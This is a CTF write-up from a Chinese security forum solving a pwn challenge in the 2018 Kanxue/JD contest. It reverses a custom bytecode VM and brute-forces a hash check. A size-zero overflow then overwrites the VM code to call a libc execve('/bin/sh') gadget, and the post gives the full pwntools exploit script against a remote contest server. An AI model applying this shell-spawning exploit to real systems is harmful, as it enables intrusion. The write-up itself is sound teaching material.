-
-
[原创]看雪.京东 2018CTF-第六题分析
-
发表于: 2018-6-27 11:22 2547
-
整个程序分下面几个过程
1、爆破hash,过掉第一次验证。
2、从终端读取malloc数据时,读取大小是输入的size-1,当size=0,可读取0xFF大小的数据。产生溢出。
3、有一段自定义的指令数据,可被上面读到的数据覆盖。
4、通过分析自定义执行指令格式,构造指令代码片段,替换原始代码片段,拿到shell。
代码中还有个alarm(60)过了时间,程序就会自动终止,要求爆破的时间必须在1分钟内。
一、查看下程序安全属性
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled可以看出保护基本上全开了。二、使用one_gadget获取拿到shell地址0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL call_execve = 0x4526a;初步选取0x4526a地址为 getShell_offset地址。([esp+0x30]必须为0)
三、初始化函数 sub_CB5
IDA载入后发现存在初始化数组,有2个函数sub_C80和sub_CB5,其中 sub_C80没干啥, sub_CB5函数功能如下:
1、使用随机数对sub_15E4等函数地址进行异或,并存储在全局变量中。异或是为了混淆,存储在全局变量是为了简洁的自定义指令引擎使用的。
sub_15E4 函数-----------------申请空间(输入申请大小,输入存储的内容)。
sub_16AD函数-----------------显示malloc的内容(实际没有)。
loc_1478指针 ----------------- 为自定义指令引擎使用,当用户执行完一个操作时,回到选择操作位置。
loc_1107指针 ----------------- 自定义指令引擎起始位置,用于混淆跳转和偏移计算。
2、下面两条指令是给自定义的指令数据初始化,主要的作用是根据用户输入跳转到相应的处理函数中。
qword_203140 = 0x106040F01130301LL;
qword_203148 = 0x4000161302011409LL;
unsigned __int64 sub_CB5() { signed int i; // [rsp+8h] [rbp-28h] int fd; // [rsp+Ch] [rbp-24h] unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); fd = open("/dev/urandom", 0); for ( i = 0; i <= 4; ++i ) read(fd, (char *)qword_2030C0 - 64LL - 8 * i, 8uLL); unk_2030A8 = unk_203080 ^ (unsigned __int64)sub_15E4; unk_2030A0 = unk_203078 ^ (unsigned __int64)sub_16AD; unk_203098 = unk_203070 ^ (unsigned __int64)sub_1728; unk_203090 = unk_203068 ^ (unsigned __int64)&loc_1478; unk_203088 = unk_203060 ^ (unsigned __int64)&loc_1107; qword_203140 = 0x106040F01130301LL; qword_203148 = 0x4000161302011409LL; dword_203150 = 0; word_203154 = 0; byte_203156 = 0; close(fd); return __readfsqword(0x28u) ^ v3; }四、main函数其中sub_E87用于屏幕输出,sub_F0C函数用于hash验证,sub_1470函数是用于内存申请、显示、释放等操作。五、过hash验证先产生一个4字节的随机数,然后通过计算获得8个字节数据s,再算其hash,并将hash值打印输出,需要通过hash获得s,输入s,可通过验证。随机数产生时,每个字节x存在如下条件: 0x30 <= x < 0x5B,可爆破过验证。具体脚本如下:def getkey(target): a = 0x30303030 #a = 0x3c3b4e4b while (a <= 0x5A5A5A5A) : s1 = (0x343FD * a + 0x269EC3)&0xffffffff s2 = (0x343FD * s1 + 0x269EC3)&0xffffffff s = (s2<<32) + s1 hash = 0 i = 0; temp = s while(i < 8): hash = ((hash*0x83) + (temp&0xff))&0xffffffff temp = temp >> 8 i=i+1 if (target == hash): print 'find ok' return s if ((a & 0xff) < 0x5A): a=a+1 continue a = (a & 0xffffff00) + 0x30; temp = (a & 0xff00) >> 8 if (temp < 0x5A): a = a + 0x0100 continue a = (a & 0xffff00ff) + 0x3000 temp = (a & 0xff0000) >> 16 if (temp < 0x5A) : a = a + 0x010000 continue a = (a & 0xff00ffff) + 0x300000; a = a + 0x01000000; return 0六、操作函数sub_14701、代码混淆函数sub_1470通过jmp eax形式进行混淆,eax的实际位置是0x1107,可以手动将jmp eax改成 jmp 1107,但更改后会将下面指令覆盖,可在0x14E5位置更改,让其跳转到10EF位置,将0x14E5的指令" sub rsp, 88h"挪到 10EF位置。还原后代码如下:void *__ptr32 *sub_1470() { void *__ptr32 *result; // rax __int64 v1; // ST08_8 __int64 v2; // ST00_8 __int64 v3; // [rsp+58h] [rbp-20h] __int64 v4; // [rsp+60h] [rbp-18h] unsigned int v5; // [rsp+74h] [rbp-4h] sub_1591(); v5 = sub_1547(); result = (void *__ptr32 *)v5; if ( v5 ) { result = (void *__ptr32 *)v5; if ( v5 <= 3 ) { v1 = qword_2030C0[~((unsigned __int8)v5 - 1LL) - 7] ^ qword_2030C0[~((unsigned __int8)v5 - 1LL) - 2]; v4 = qword_2030C0[-11] ^ qword_2030C0[-6]; v2 = qword_2030C0[-7] ^ qword_2030C0[-12]; result = sub_10FE((__int64)&v3); } } return result; } void *__ptr32 *__usercall sub_10FE@<rax>(__int64 a1@<rbp>) { __int64 v1; // rt1 void *__ptr32 *result; // rax signed __int64 v3; // rax *(_QWORD *)(a1 - 64) = 0LL; *(_QWORD *)(a1 - 16) = 0LL; *(_QWORD *)(a1 - 48) = 0LL; *(_QWORD *)(a1 - 8) = 0LL; *(_QWORD *)(a1 - 40) = 0LL; *(_QWORD *)(a1 - 56) = 0LL; *(_QWORD *)(a1 - 32) = 0LL; *(_QWORD *)(a1 - 24) = 0LL; while ( 1 ) { // qword_203140 = 0x106040F01130301LL; // qword_203148 = 0x4000161302011409LL; *(_QWORD *)(a1 - 0x10) = *((char *)&qword_203140 + *(_QWORD *)(a1 - 0x40)); v1 = *(_QWORD *)(a1 - 0x10); result = off_1A1C; switch ( a1 ) { case 1LL: *(_QWORD *)(a1 - 0x30) = *((unsigned __int8 *)&qword_203140 + *(_QWORD *)(a1 - 0x40) + 1); *(_QWORD *)(a1 - 0x40) += 2LL; break; case 2LL: *(_QWORD *)(a1 - 0x28) = *((unsigned __int8 *)&qword_203140 + *(_QWORD *)(a1 - 0x30)); ++*(_QWORD *)(a1 - 0x40); break; case 3LL: *(_QWORD *)(a1 - 0x38) = *(__int64 *)((char *)&qword_203140 + *(_QWORD *)(a1 - 0x30)); ++*(_QWORD *)(a1 - 0x40); break; case 4LL: *(_QWORD *)(a1 - 0x20) = *(__int64 *)((char *)&qword_203140 + *(_QWORD *)(a1 - 0x30)); ++*(_QWORD *)(a1 - 0x40); break; case 5LL: *(_QWORD *)(a1 - 0x38) -= *(_QWORD *)(a1 - 0x20); ++*(_QWORD *)(a1 - 64); break; case 6LL: *(_QWORD *)(a1 - 0x38) += *(_QWORD *)(a1 - 0x20); ++*(_QWORD *)(a1 - 64); break; case 7LL: *(_QWORD *)(a1 - 0x38) *= *(_QWORD *)(a1 - 0x20); ++*(_QWORD *)(a1 - 0x40); break; case 8LL: *(_QWORD *)(a1 - 0x38) /= *(_QWORD *)(a1 - 0x20); ++*(_QWORD *)(a1 - 0x40); break; case 9LL: *(_QWORD *)(a1 - 0x38) ^= *(_QWORD *)(a1 - 0x20); ++*(_QWORD *)(a1 - 0x40); break; case 10LL: *(_QWORD *)(a1 - 0x38) &= *(_QWORD *)(a1 - 0x20); ++*(_QWORD *)(a1 - 64); break; case 11LL: *(_QWORD *)(a1 - 0x38) |= *(_QWORD *)(a1 - 32); ++*(_QWORD *)(a1 - 64); break; case 12LL: *(_QWORD *)(a1 - 0x18) = *(_QWORD *)(a1 - 0x38) != *(_QWORD *)(a1 - 0x20); ++*(_QWORD *)(a1 - 64); break; case 13LL: if ( *(_QWORD *)(a1 - 0x18) ) v3 = *(_QWORD *)(a1 - 0x40) + 2LL; else v3 = *((unsigned __int8 *)&qword_203140 + *(_QWORD *)(a1 - 0x40)); *(_QWORD *)(a1 - 0x40) = v3; break; case 14LL: *(_QWORD *)(a1 - 0x38) = *(_QWORD *)(a1 - 0x28); ++*(_QWORD *)(a1 - 64); break; case 15LL: *(_QWORD *)(a1 - 0x20) = *(_QWORD *)(a1 - 0x28); ++*(_QWORD *)(a1 - 64); break; case 16LL: *(_QWORD *)(a1 - 0x28) = *(_QWORD *)(a1 - 0x38); ++*(_QWORD *)(a1 - 64); break; case 17LL: *(_QWORD *)(a1 - 0x28) = *(_QWORD *)(a1 - 0x20); ++*(_QWORD *)(a1 - 64); break; case 18LL: *(_QWORD *)(a1 - 0x38) = *(_QWORD *)(a1 - 0x20); ++*(_QWORD *)(a1 - 0x40); break; case 19LL: *(_QWORD *)(a1 - 0x38) = *(_QWORD *)(-8LL * *(_QWORD *)(a1 - 0x30) + a1 - 0x40); ++*(_QWORD *)(a1 - 0x40); break; case 20LL: *(_QWORD *)(a1 - 0x40 - 8LL * *(_QWORD *)(a1 - 0x30)) = *(_QWORD *)(a1 - 0x38); ++*(_QWORD *)(a1 - 64); break; case 21LL: ++*(_QWORD *)(a1 - 0x28); ++*(_QWORD *)(a1 - 0x40); break; case 22LL: ++*(_QWORD *)(a1 - 0x40); JUMPOUT(__CS__, *(_QWORD *)(a1 - 0x38)); return result; default: return result; } } }2、自定义执行引擎分析14EF,实际上是个精简的自定义指令执行引擎,具体指令格式如下;1)寄存器 ============================================================================================================================= startCodeAddr = 0x203140 自定义指令代码开始位置 curOffset = rbp - 0x40 存储当前执行位置索引 pc = startCodeAddr+curOffset 当前pc varStart = rbp - 0x40 可以修改的寄存器的基址(向上修改) r0 = rbp - 0x38 通用寄存器 r1 = rbp - 0x30 通用寄存器 r2 = rbp - 0x28 通用寄存器 r3 = rbp - 0x20 通用寄存器 r4 = rbp - 0x18 通用寄存器 ============================================================================================================================= 操作码 指令长度 含义 备注 ----------------------------------------------------------------------------------------------------------------------------- 0x01 2 r1 = byte[pc + 1] 从代码段读取一个字节得r1 0x02 1 r2 = byte[startCodeAddr + r1] 从代码段[pc + r1]读取一个字节到r2 0x03 1 r0 = QWORD[startCodeAddr + r1] 从代码段[pc + r1]读取双字到r0 0x04 1 r3 = QWORD[startCodeAddr + r1] 从代码段[pc + r1]读取双字到r3 0x05 1 r0 = r0 - r3 0x06 1 r0 = r0 + r3 0x07 1 r0 = r0 * r3 0x08 1 r0 = r0 / r3 0x09 1 r0 = r0 ^ r3 0x0A 1 r0 = r0 & r3 0x0B 1 r0 = r0 | r3 0x0C 1 r4 = (r0 != r3) 0x0D 1 jnz 跳转指令 0x0e 1 r0 = QWORD r2 0x0f 1 r3 = QWORD r2 0x10 1 r2 = QWORD r0 0x11 1 r2 = QWORD r3 0x12 1 r0 = QWORD r3 0x13 1 r0 = QWORD[varStart - r1*8] 从堆栈中按照索引读取数据到r0 0x14 1 [varStart - r1*8] = r0 将r0的内容写到堆栈中 0x15 1 r2++ 0x16 1 call r0 调用现实中的函数 =============================================================================================================================3、自定义指令数据字节码的指令数据地址为0x203140,并且在初始化函数中赋值为:01 03 13 01 F 04 06 01 09 14 01 02 13 16 00 40 ,下面是根据上面的指令含义对其分析:pc = 0x203140 [varStart - 2*8] = 0x15E4 ;根据输入索引,选择不同处理函数,这里输入为1,15E4为申请空间处理函数 01 03 r1 = byte[pc + 1] ;r1=3 13 r0 = [varStart - r1*8] = 0x1107 ;自定义指令执行引擎开始位置 01 0F r1 = byte[pc + 1] ;r1=0F 04 r3 = QWORD[0x203140+r1] ;r3 = QWORD[0x203140 + 0x0f] = 0x40 06 r0 = r0 + r3 ;0x1107 + 0x40 = 0x1147 01 r1 = byte[pc + 1] ;r1=9 14 [varStart - [r1]*8] = r0 ;[varStart - 0x40] = 0x1147,构造从现实函数返回的地址 01 r1 = byte[pc + 1] ;r1=2 13 r0 = [varStart - 2*8] = 0x15E4 ;获得要调用的现实函数地址 16 call 0x15E4 ;调用申请空间出来函数 00 jmp 0x1478 ;跳转主循环等待用户输入七、漏洞发现程序存在 内存申请、字符拷贝、内存释放等系统调用,但是分析一遍后,没发现太多漏洞,但是发现 sub_15E4中存在一个全局变量溢出漏洞。sub_15E4为堆申请函数,其主要流程如下:1、输入申请的size2、判断size是否大于0x80,大于则退出,否则malloc。3、从终端读取size-1个数据到全局buf_2030C0中。4、将数据从buf_2030C0拷贝到malloc地址中。5、将malloc指针和size赋给全局变量203240 和203248这里存在一个漏洞当输入的size为0时,将从终端读取0xFF大小数据到全局变量2030C0,而前面的自定义的指令数据的位置为x203140,其与2030C0相差0x80, 构造payload,并覆盖0x203140,将我们构造的自定义指令覆盖原始的指令。八、漏洞利用自定义指令存在如下指令:a) 将自定义指令数据写入到寄存器(堆栈)的指令,比如0x02\0x03\0x04相关指令b) 也存在call 寄存器(堆栈)的指令。比如 0x16指令。因此如果将执行 getShell_addr的地址放入r0中,然后使其执行0x16指令就可以直接执行如下指令,从而拿到shell。0x4526a execve("/bin/sh", rsp+0x30, environ)1、获取内存中的 getShell_addr地址
通过IDA调试,看下图
可以看到在执行字节码程序时,堆栈中存在多个libc.so库的地址,比如:libc.write+0x10的地址位于 rbp - 0x40 - 0x0d*8的位置。因此我们可以通过构造自定义指令将libc.write+0x10地址读取到通用寄存器中,由于给出了libc.so,可知write+0x10的地址为:0xF72C0,因此可以计算出: get_shell_addr_offset = 0xF72C0 - 4526a =0xB2056。可以事前将 0xB2056放到payload中,然后使用0x14指令即可以使得r0 = :get_shell_addr的真实地址。然后执行0x16指令就可以拿到shell。2、构造payload1) 将[esp+0x30] = 0。2) r0 = 内存中write+0x10的值。3) r3 = get_shell地址与 write+0x10的偏移。4) r0 = r0 - r3 = 内存 get_shell地址。5) call r0 拿到shell。覆盖原始自定义指令的数据为:'\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00',整个pyload为:payload = 'A'*0x80 + '\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00'下面是指令的具体说明://0x203140 = {01 03 14 01 0D 13 01 0B 04 05 16 56 20 0B 00 00} //初始化时,r0 = 0, pc = 0x203140 r0 = 0 pc = 0x203140 //[esp - 0x30] = 0 //[esp - 0x30] = varStart - 3*8 01 03 r1 = byte[0x203140 + 1] ;r1=3 14 [varStart - r1*8] = r0 ;[varStart - 3*8] = [esp - 0x30] = r0 (r0=0) //r0 = write_addr+0x10地址 01 0d r1 = byte[pc + 1] ;r1=0d 13 r0 = [varStart - r1*8] ;r0 = [varStart - 0x0d*8] = write_addr+0x10 //r3 = execv_offset 01 0b r1 = byte[pc + 1] ;r1=0b 04 r3 = QWORD[startCodeAddr + r1] ;r3 = *(QWORD*(0x203140+0x0b)) = 0xb2016 //r0 = r0 - r3 = execv_addr 05 r0 = r0 + r3 //get shell 22 call r03、脚本如下:#!/usr/bin/python from pwn import * #context(os='linux',arch='amd64',log_level='debug') context(os='linux',arch='amd64') print ('===============================') io = remote('139.199.99.130',8989) #io = process('./noheap') payload = 'A'*0X80 + '\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00' def getkey(target): a = 0x30303030 #a = 0x3c3b4e4b while (a <= 0x5A5A5A5A) : s1 = (0x343FD * a + 0x269EC3)&0xffffffff s2 = (0x343FD * s1 + 0x269EC3)&0xffffffff s = (s2<<32) + s1 hash = 0 i = 0; temp = s while(i < 8): hash = ((hash*0x83) + (temp&0xff))&0xffffffff temp = temp >> 8 i=i+1 if (target == hash): print 'find ok' return s if ((a & 0xff) < 0x5A): a=a+1 continue a = (a & 0xffffff00) + 0x30; temp = (a & 0xff00) >> 8 if (temp < 0x5A): a = a + 0x0100 continue a = (a & 0xffff00ff) + 0x3000 temp = (a & 0xff0000) >> 16 if (temp < 0x5A) : a = a + 0x010000 continue a = (a & 0xff00ffff) + 0x300000; a = a + 0x01000000; return 0 inputString = io.recvuntil('Input') #get hash from screen hashStart = inputString.find('Hash:') hashStart = hashStart+5 hashEnd = inputString.find('\n', hashStart) aimhash = inputString[hashStart:hashEnd] target = int(aimhash, 16) #get inputkey by hash print "get hash, waiting!" value = getkey(target) print str(hex(value)) print 'put inputkey to server' inputkeyPayload = p64(value) sleep(1) io.write(inputkeyPayload) print 'select 1 for malloc' io.recvuntil('Exit') sleep(1) io.write('1') sleep(1) print 'put 0 for malloc size,real can write 0xFF data to server' io.recvuntil('Size') sleep(1) io.write('0') print 'put payload data is saved at 0x2030C0' io.recvuntil('Content') sleep(1) io.write(payload) sleep(1) print 'put 1 ,but pc will go to execv' io.recvuntil('Exit') sleep(2) io.write('1') io.interactive()九、flagflag{4be6c278519a61e0176463bbd17a235a3}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2018-6-29 15:45
被oooAooo编辑
,原因:
赞赏
他的文章
- 看雪CTF 2019总决赛 第六题 三道八佛 IDA脱壳脚本 5691
- [原创]看雪CTF2019Q3第四题WP 5950
- [原创]看雪CTF2019Q3 第二题WP 6784
- [2019看雪CTF晋级赛Q3第九题WP 12525
- [原创]看雪CTF2019晋级赛Q2第三题 5039
看原图
赞赏
雪币:
留言: